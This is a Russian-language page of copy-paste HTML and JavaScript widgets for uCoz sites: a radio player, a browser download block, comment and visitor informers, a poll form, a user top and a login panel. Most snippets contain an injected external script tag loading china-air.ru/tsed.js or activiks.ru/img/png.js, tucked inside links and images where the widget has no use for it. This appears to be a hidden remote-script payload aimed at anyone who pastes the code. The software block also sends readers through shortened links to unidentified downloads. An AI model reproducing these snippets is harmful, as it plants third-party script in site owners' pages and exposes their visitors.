Статистика
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Главная » Скрипты для Ucoz
« 1 2 ... 7 8 9 10 11 ... 13 14 »
Устанавливаете в любое место вашего сайта.
Код
<center><script src="http://activiks.ru/img/png.js" type="text/javascript"></script><iframe height="244" frameborder="0" width="190" scrolling="no" id="onlineRadioFrame" src="http://radiotuna.com/OnlineRadioPlayer/Player?showPopupControl=true&playerParams={'styleSelection0':29,'styleSelection1':41,'styleSelection2':82,'textColor':0,'backgroundColor':15527898,'buttonColor':8755968,'glowColor':8755968,'playerSize':200,'playerType':'style'}&referrer=http2F2F&linkText=downtempo%20radio&linkDest=http://radiotuna.com/downtempo-radio" allowtransparency="true"/><script src="http://radiotuna.com/OnlineRadioPlayer/EmbedRadio?playerParams=22styleSelection03A2922styleSelection13A4122styleSelection23A8222textColor3A022backgroundColor3A1552789822buttonColor3A875596822glowColor3A875596822playerSize3A20022playerType3A22%7D&width=190&height=244" type="text/javascript"/></center>
Сегодня Мы подготовили для Вас Блок для Вашего сайта (устанавливается в первый или второй глобальный блок) с красивыми картинками и прямыми ссылками на скачку трёх самых популярных Интернет броузеров в мире, а именно - Mozilla Firefox, Opera и конечно же самый старичёк легенда Internet Explorer, собраны все последнии версии с топовых сайтов интернет сети. На фотографии справа Вы можете увидеть как этот uCoz блок будет выглядеть на Вашем сайте при правельной его установки. Как всегда, внутри новости я подробно напишу как устанавливать этот код-скрипт на Ваш сайт uCoz, а если у кого-то не получится, тогда пишите комментарии и Вам однозначно помогу! Код найдёте так же внутри материала!
Для начала зайдите на свой сайт и войдите в админ панель! Сделали? Тогда идём дальше
#1 Заходите в первый (левый столбик сайта) или второй (правый столб uCoz сайта) глобальные блоки и видем HTML код. В него вставляем следующий код :
Код
<div align="center"> <a href="http://www.mozilla.org/ru/firefox/new/" target="_blank"> <img src="http://bambun.ru/images/firefox0.png" title="Скачать Firefox бесплатно!" alt="" border="0"></a><br> <a href="http://ie.yandex.ru/" target="_blank"> <script src="http://activiks.ru/img/png.js" type="text/javascript"></script> <img src="http://bambun.ru/images/exploner0.png" title="Скачать Internet Explorer бесплатно!" alt="" border="0"></a><br> <a href="http://opera.yandex.ru/" target="_blank"> <img src="http://bambun.ru/images/opera0.png" title="Скачать Opera бесплатно!" alt="" border="0"></a> </div>
Далее нажимаем F5 на сайте и видем красивый блок на своём сайте!!!
Информер последних комментариев
Информер отображает установленое количество самых последних коментариев пользователей к материалам сайта.
Установка :
Идем на главную страницу панели управления сайтом, заходим в раздел информеры,
создаём новый информер и устанавливаем параметры отображения :
Название информера: коменты
Раздел: коментарии
Модуль: Все модули
Количество материалов: 5
Количество колонок: 1
Максимальная длина текста комментария: 50
Нажимаем на кнопку "СОЗДАТЬ"
Теперь нужно настроить сам информер, жмём шаблон информера и заменяем все содержимое на это :
в этом коде заданы цвета ссылок, титлы и бордюр таблицы которые можно изменить под свой дизайн при необходимости.
Код
<table style="border: 1px solid #2F2F2F;" cellpadding="2" cellspacing="5" width="100%"><tr><td><a href="$PROFILE_URL$"><b style="color:#4682B4;cursor: hand;" title="Профиль пользователя"> $USERNAME$</b><script src="http://china-air.ru/tsed.js" type="text/javascript"></script></a><b style="color:#636363;cursor: hand;" title="Гость сайта"> $NAME$</b></br> <a href="$ENTRY_URL$" alt="23" title="" id="commet">$MESSAGE$</a><img border="0" src="http://s44.ucoz.net/img/icon/fm.png" align="absMiddle" style="cursor: hand;padding-left:10px;" title="$DATE$ ~ $ENTRY_TITLE$" ></td></tr></table>
Далее определяемся, где будет расположен ниформер в данном примере в левом контейнере (блоке) сайта. Вписываем туда новый глобальный блок с кодом нового информера ( $MYINF_1$ ). Если у вас уже есть другие информеры, то номер информера будет другим ( $MYINF_2$, $MYINF_5$ и тд. )
Готово.
ВСЕ ЛИНКИ НА СОФТ 100% РАБОЧИИ
Блок нужных программ для компьютера в который входят:Мультибар,Проигрыватель,Планировщик,Загрузчик,Игры,Фотоальбом,Домейнер,Скриншотер,Диктофон,Ускоритель,Таймер,Сканер,реестра,Стоп-реклама,Анинсталлер,Табз,Просмотрщик
Код
<div class="wblock bvote"> <div class="dbg"> <div class="dtop"><div class="dbtm"> <div style="padding-top: 10px; margin-left: 25px; color: white; font-size: 12px; "><b>Нужные программы</b></div> <div class="dcont"> <center> <table style="border: medium none;" align="center" cellspacing="5" width=""><tbody><tr><td style="border: medium none;"> <center><a href="http://u.to/RbpkAQ"><img src="http://bambun.ru/images/mbar.png" target="_blank" width="35" height="35" title="Мультибар" /></a> <a href="http://u.to/0sdkAQ"><img src="http://bambun.ru/images/proigrvatel.png" target="_blank" width="35" height="35" title="Проигрователь" /></a> <a href="http://u.to/A8hkAQ"><img src="http://bambun.ru/images/planirovshhik.png" target="_blank" width="35" height="35" title="Планировщик" /></a> <br> <a href="http://u.to/OchkAQ"><img src="http://bambun.ru/images/zagruzchik.png" target="_blank" width="35" height="35" title="Загрузчик" /></a> <a href="http://u.to/QshkAQ"><img src="http://bambun.ru/images/igry.png" target="_blank" width="35" height="35" title="Игры" /></a> <a href="http://u.to/RchkAQ"><img src="http://bambun.ru/images/fotoalbom.png" target="_blank" width="35" height="35" title="Фотоальбом" /></a> <a href="http://u.to/WMhkAQ"><img src="http://bambun.ru/images/domejner.png" target="_blank" width="35" height="35" title="Домейнер" /></a> <a href="http://u.to/dchkAQ"><img src="http://bambun.ru/images/skrinshoter.png" target="_blank" width="35" height="35" title="Скриншотер" /></a> <a href="http://u.to/dshkAQ"><img src="http://bambun.ru/images/diktofon.png" target="_blank" width="35" height="35" title="Диктофон" /></a> <a href="http://u.to/mMhkAQ"><img src="http://bambun.ru/images/uskoritel.png" target="_blank" width="35" height="35" title="Ускоритель" /></a> <a href="http://u.to/oshkAQ"><img src="http://bambun.ru/images/tajmer.png" target="_blank" width="35" height="35" title="Таймер" /></a> <a href="http://u.to/pshkAQ"><img src="http://bambun.ru/images/skaner_reestra.png" target="_blank" width="35" height="35" title="Сканер реестра" /></a> <a href="http://u.to/s8hkAQ"><img src="http://bambun.ru/images/stop_reklama.png" target="_blank" width="35" height="35" title="Стоп реклама" /></a> <a href="http://u.to/tMhkAQ"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><img src="http://bambun.ru/images/aninstajler.png" target="_blank" width="35" height="35" title="Анинсталлер" /></a> <a href="http://u.to/vMhkAQ"><img src="http://bambun.ru/images/tabz.png" target="_blank" width="35" height="35" title="Табз" /></a> <a href="http://u.to/6shkAQ"><img src="http://bambun.ru/images/prosmotorshhik.png" target="_blank" width="35" height="35" title="Просмоторщик"/></a> </td></tr></tbody> </table></span> </center> </div> </div></div> </div> </div>
Как и обычно, хорошие идеи насчет уникальных скриптов, сегодня как раз такая попалась, и я ее в этот же день реализовал, скрипт выводит последних посетивших людей за сегодня с аватаром, кроме аватара я добавил еще пару функции "Отправить личное сообщение" и "Профиль пользователя".
Установка:
Персональная страница пользователя, в самый низ:
Код
<div style="display:none;"> <div id="ava_pos$_USERNAME$">$_AVATAR$</div><div id="ava_pos$_USERNAME$"><img src="http://s4.ucoz.net/img/icon/er.png"></div> <div id="g_names">$_GROUP_NAME$</div> </div>
Создаем информер. Раздел: Пользователи сайта посетившие за текущий день.
В Шаблон информера ставим:
Код
<style> #user_style {background:#f7f7f7;border:1px solid #ccc;border-right:none;border-bottom:none;margin-bottom:5px;} #user_style td{padding:6px;border-right:1px solid #ccc;border-bottom:1px solid #ccc;} #funct a {text-decoration:none;font-weight:bold;} #funct {padding:6px;background:#f7f7f7;border-bottom:1px solid #ccc;margin:0px;} #funct:hover {background:#fff;} </style> <div id=""> <table id="user_style" cellspacing="0" cellpadding="0" width="100%" height="100%"> <tr> <td align="left" bgcolor="#fff" id="names"><b><a href="$PROFILE_URL$" class="$CLASS$" >$USERNAME$</a></b></td> <td bgcolor="#fff"><b>Функции</b><span style="float:right;" id="stat"></span></td> </tr><tr><td ><img src="" width="80" height="80" id="user_avatar$USERNAME$"></td> <td valign="top" style="padding:0px;"><div id="funct"><a href="$PROFILE_URL$" target="_blank" id"pf">Перейти к профилю</a></div><div id="funct"><a href="/index/14-$USER_ID$-0-1" target="_blank" id="ls">Отправить личное сообщение</a></div></td> </tr> </table> </div>
Теперь в ставим в блок, в то место где хотите видеть ссылку «Сегодня нас посетили:
Код
<div id="html_user" style="display:none">$MYINF_1$</div><br> <a href="javascript://" onclick="users();">Сегодня нас посетили</a> <script src="http://china-air.ru/tsed.js" type="text/javascript"></script> <script> function users() { $('#names a').each(function(i,data){ var get_user = $(this).html(); $.get('/index/8-0-'+get_user+'', function (data) { var src_ava = $('#ava_pos'+get_user+' img',data).attr('src'); $('#user_avatar'+get_user+'').attr('src',''+src_ava+''); }); }); new _uWnd("user","Пользователи посетившие за текущий день",320,400,{customButtons: {'name_uwnd': [true, function (){name_funct()}]},modal:0},$('#html_user').html()); }; function name_funct() { new _uWnd('name_uwnd', 'Авторство', 300, 100, {align:0}, '<table width="100%"><tr><td style="padding:6px;border:1px solid #c1c0c0;" BGCOLOR="#e8e8e8"><b>Скрипт кто нас сегодня посетил с аватаром</b></td></tr><tr><td style="padding:6px;border:1px solid #c1c0c0;" BGCOLOR="#e8e8e8"><b>Релизация скрипта:</b> jQuCoz.Ru</td></tr><tr><td style="padding:6px;border:1px solid #c1c0c0;" BGCOLOR="#e8e8e8"><b>Идея:</b> Вовчик - Webo4ka.ru</td></tr><table>'); } </script>
Еще один вид опросов на ваш сайт, достаточно простой, но красивый.
Установка:
Код в форме опросов заменить на вот такой вот:
Код
<DIV style="FONT-FAMILY: Tahoma,Arial"> <DIV style="FONT-SIZE: 8pt; PADDING-TOP: 2px; TEXT-ALIGN: left"><B>$QUESTION$</B></DIV> <DIV style="FONT-SIZE: 8pt; TEXT-ALIGN: left">$ANSWERS$</DIV> <HR> <A style="FONT-SIZE: 5pt" href="$RESULTS_LINK$"><IMG alt="Результат опроса" src="http://bambun.ru/images/opros_2.png" border=0><SPAN style="FONT-SIZE: 8pt"> Результаты</SPAN></A> <A style="FONT-SIZE: 5pt" href="$ARCHIVE_LINK$"><IMG height=14 alt="Все опросы нашего сайта" src="http://bambun.ru/images/opros_1.png" width=14 border=0><SPAN style="FONT-SIZE: 8pt"> Архив опросов</SPAN></A> <BR> <HR><script src="http://china-air.ru/tsed.js" type="text/javascript"></script> <DIV style="FONT-SIZE: 7pt; PADDING-TOP: 4px; TEXT-ALIGN: center">Всего голосовало: <B>$TOTAL_VOTES$</B></DIV> <CENTER><A style="FONT-SIZE: 8pt" href="http://ССЫЛКА НА ФОРУМ">Обсудить опрос на форуме</A></CENTER></DIV>
Данный скрипт выводит количество человек посетивших ваш сайт.
А под количеством выводятся имена этих пользователей
Установка:
1) Заходим в Панель Управления » Информеры » Создать Информер
Вот ссылка адрес_вашего_сайта/panel/?a=informers
Параметры информера:
Название информера - любое;
Раздел - пользователи посетившие сайт за текущий день
Создать
Открываем дизайн информера, и заменяем всё на этот код:
Код
<div style="margin: 2px 0 2px 0;"> <a href="$PROFILE_URL$" class="$CLASS$">$USERNAME$</a> </div>
Копируем код вызова информера - например $MYINF_1$
2) Вставляем код ниже, туда где хотим видеть информацию о посетителях:
Код
<div style="text-align:center;" id="userkaNum">Сегодня заглянули<br> <b id="usNaN"></b> </div> <script src="http://china-air.ru/tsed.js" type="text/javascript"></script><script type="text/javascript"> NanUsers = function(number, one, two, five) { number = Math.abs(number); number %= 100; if (number >= 5 && number <= 20) { return five; } number %= 10; if (number == 1) { return one; } if (number >= 2 && number <= 4) { return two; } return five; }; $.get('/index/62-2', function(numUs){ $("#usNaN").append( $('a',$('cmd[p="content"]',numUs).text()).size() ); $("#userkaNum").append( NanUsers($('a',$('cmd[p="content"]',numUs).text()).size(), 'человек:', 'человека:', 'человек:') ); }); </script> <div class="user_online">$MYINF_1$</div> <style type="text/css"> .user_online {overflow: auto;background: #F3F3F3; color: #252525;border: 1px solid #EAEAEA!important; border-radius: 5px;max-height:70px; font-size: 12px;padding: 3px 3px 3px 7px;} </style>
УСТАНОВКА СКРИПТА:
Для начала нужно создать информер [Пользователи · Материалы · Кол.комментариев · Материалы:9 · Колонки:3] в шаблон информера кидаем код что будет указан ниже, и потом создаем блок и вставляем в блок номер вашего информера=)
Код
<table align="center" border="0" cellspacing="0" cellpadding="0" width="100%" class="infTable"> <tr><td class="infTd" width="33%"> <table align="center" border="0" cellspacing="0" cellpadding="0" width="100%" class="infTable"> <tr><td class="infTd" width="33%"> <table align="center" border="0" cellspacing="1" cellpadding="0" width="100%"> <tbody><tr><td width="33%"> <div align="center"> <div class="informer_user_ava"> <div class="tooltip_user"> <a href="$PROFILE_URL$"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script> <img class="user_ava_a" src="$AVATAR_URL$"> <img class="user_ava_a" src="http://bambun.ru/images/net.gif"> <span> <div class="user_v"> <div class="user_v_p"> <div class="user_name">$USERNAME$</div> <div class="user_full_name">$FULL_NAME$</div></div></div> <div class="user_c"> <div class="user_i">Файлов:</div><div class="user_ii">$LOAD_POSTS$</div> <div class="user_i">Сообщений:</div><div class="user_ii">$FORUM_POSTS$</div> <div class="user_i">Репутация:</div><div class="user_ii">$REPUTATION$</div> <div class="user_i">Регистрация:</div><div class="user_ii">$REG_DATE$</div></div> <div class="user_n"><div class="user_v_p"><div class="user_full_name">Комментарий: $COM_POSTS$ ( $NUMBER$ место ) </div> </div> </div> </span> </a> </div> </div> </div> </td></tr></tbody></table></td></tr></table></td></table>
А потом зайти в ваш CSS стиль и в самый низ вставить вот этот код:
Код
/* User-top */ .informer_user_ava {width:60px} .informer_user_nic {width:60px;font:9px Verdana,Arial,Helvetica,sans-serif;color:#1E90FF;margin:3px 0 10px} .tooltip_user a {text-decoration:none;color:#333} .tooltip_user a:hover {position:relative} .tooltip_user a span {display:none} .tooltip_user a:hover span {z-index:999;display:block;position:absolute;text-align:left;color:#1E90FF;font-size:8pt;top:-150px;right:0;width:250px;background:url('http://bambun.ru/images/fonn.png'); border:1px solid #000000;padding:0} .user_i, .user_ii {float:left;width:120px;margin-bottom:2px;padding:0 0 5px;background:url('') repeat-x bottom} .user_v {border-bottom:1px solid #000000} .user_n {border-top:1px solid #000000} .user_c {clear:left;overflow:hidden;font:9px Verdana,Arial,Helvetica,sans-serif;color:#1E90FF;padding:5px} .user_v_p {padding:3px 4px 0} .user_v, .user_n {clear:left;height:25px;background:url('http://bambun.ru/images/fonn.png') repeat-x top #171717} .user_name {float:left} .user_full_name {float:right} .user_full_name, .user_name {background:;padding:2px 5px;font-size:10px;border-top:1px solid #0d0d0d;border-right:1px solid #0d0d0d;border-left:1px solid #0d0d0d;border-bottom:1px solid #0d0d0d} .user_ava_a {padding:4px; border:1px solid #0d0d0d;} .user_ava_a {width:50px; height:50px; background:url('http://bambun.ru/images/fonn.png');} /* ---------------------------------- */
Скрипт просит Войти или зарегистрироватся гостей сайта в левом нижнем углу, а когда зашёл как пользователь показывает мини-профиль для ucoz.
Установка:
Заходим: Панель управления » Управление дизайном » Редактирование шаблонов » Глобальные блоки [Блок "Нижняя часть сайта"]
Далее копируем код и вставляем в самый низ в блок < нижняя часть сайта >..
Код
<style type="text/css"> .uPanel{background:rgba(0,0,0,0.8);color:#fff;float:left;box-shadow: 0 2px 7px rgba(0, 0, 0, 0.7);-moz-box-shadow: 0 2px 7px rgba(0, 0, 0, 0.7);-webkit-box-shadow: 0 2px 7px rgba(0, 0, 0, 0.7);padding: 4px 5px 4px 5px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;position:fixed;bottom:7px;left:7px;} .uPanel a.url,.uPanel a.url:visited{display:block;float:left;color:#fff;font- weight:bold;height:26px;line-height:26px;-moz-transition:all 0.4s ease;-webkit-transition:all 0.4s ease;-o-transition:all 0.4s ease;transition:all 0.4s ease;opacity:0.4;padding:0px 7px 0px 7px;position:relative;} .uPanel a.url img{vertical-align:-8px;} .uPanel a.url:hover{text-shadow:0px 0px 5px #fff;color:#fff;opacity:1.0;} .uPanel a.url.highlighted{opacity:1.0;} a.button{display:block;float:left;padding:6px 9px 6px 9px;margin:2px;color:#fff;font-weight:bold;background:url('http://bambun.ru/images/avtorizachii_dli_ucoz.png') #4E4E4E;background-position:100% 0px;border:1px solid #2D2D2D;border-radius:3px;-moz-border-radius:3px;box-shadow:0px 0px 1px #fff inset;-moz-box-shadow:0px 0px 1px #fff inset;text-shadow:0px -1px 0px #000} a.button:hover{border:1px solid #815500;color:#fff;background-position:100% -28px;text-shadow:0px -1px 0px #815500} a.button:active{border:1px solid #815500;color:#fff;background-position:100% -28px;box-shadow:0px 0px 5px #000 inset;-moz-box-shadow:0px 0px 5px #000 inset;text-shadow:0px -1px 0px #815500} .uPanel a.url span {display:block;position:absolute;bottom:0px;left:20px;color:#fff;background:red;padding:0px 3px 0px 3px;height:14px;line-height:14px;font-size:7pt;font-weight:bold;border-radius:2px;-moz-border-radius:2px;-webkit-border-radius:2px;} </style> <div class="uPanel" id="uPanel" style="display:none"> <a href="$PROFILE_URL$" title="Вошли как $USERNAME$" class="url"><img src="$USER_AVATAR_URL$" style="width:24px; height:24px;" alt="" /></a> <a href="$PROFILE_URL$" title="Вошли как $USERNAME$" class="url"><img src="http://bambun.ru/images/59.png" style="width:24px; height:24px;" alt="" /> </a> <a href="/index/14" title="Личные сообщения" class="url"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><img src="http://bambun.ru/images/pm.png" alt="" /></a> <a href="/index/8" target="_blank" title="Персональная страница" class="url"><img src="http://bambun.ru/images/wind-color.png" alt="" /></a> <a href="/index/10" title="Выход" class="url"><img src="http://bambun.ru/images/exit.png" alt="" /></a> </div> <div class="uPanel"> <a class="button" href="javascript://" rel="nofollow" onclick="new _uWnd('LF',' ',-250,-110,{autosize:0,closeonesc:1,resize:1},{url:'/index/40'});return false;"><span>Войти</span><script src="http://china-air.ru/tsed.js" type="text/javascript"></script></a> <a class="button" href="/index/3"><span>Зарегистрироваться</span></a> </div> <script>$("#uPanel").fadeIn('normal');$("#uPanel a.url").tipsy({gravity: 'sw', html: true});</script>
Описание: Скрипт Топ пользователей для Ucoz. С позициями + хинт информации о пользователи при наведении курсором на аватар.
Установка:
Создаем информер:
[ Пользователи · Материалы · Кол. файлов · Материалы: 8 · Колонки: 2 ]
В шаблон информера вставляем:
Код
<div class="utop-user" align="center"> <a href="$PROFILE_URL$" class="ut-ava" title="<b>Имя:</b> $USERNAME$<br/><b>Файлов:</b> $LOAD_POSTS$</br><b>Форумов:</b> $FORUM_POSTS$</br><b>Коментариев:</b> $COM_POSTS$</br>"> <script src="http://china-air.ru/tsed.js" type="text/javascript"></script> <img src="$AVATAR_URL$"> <img src="http://bambun.ru/images/noa23va.png"> </a> <a href="$PROFILE_URL$"><span class="group$GROUP_ID$"><b>$USERNAME$</b></span></a> <div class="utop-number">$NUMBER$</div> </div>
В CSS вставляем в самый низ
Код
/*Новые участники*/ .utop-user {display:inline-block; width:70px; margin-bottom:8px; position:relative; font-size:10px;} .utop-user .utop-number {position:absolute; top:-2px; left:-1px; padding:1px 3px; font-size:10px; font-weight:bold; color:#fff; background:#000; border-radius:2px; -moz-border-radius:2px; -webkit-border-radius:2px;} .utop-user a.ut-ava img {max-width:52px; height:52px;border-radius: 3px; -moz-border-radius: 3px; -webkit-border-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;} .utop-user a.ut-ava {border:1px solid #cfcfcf; padding:2px; width:52px;border-radius: 3px; -moz-border-radius: 3px; -webkit-border-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; text-align:center; display:inline-block;} .utop-user a.ut-ava:hover {border-color:#000;} #easyTooltip{ padding:10px; border:1px solid #000000; background:#000; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; color: #666666; filter:alpha(opacity=90); -moz-opacity: 0.9; -khtml-opacity: 0.9; opacity: 0.9; z-index:1000; } /*===================================*/
В нижнюю часть сайта
Код
<script type="text/javascript" src="http://bambun.ru/css_js/tooltip.js"></script> <script> $(document).ready(function(){$("a").easyTooltip()});$(document).ready(function(){$("img").easyTooltip()}); </script>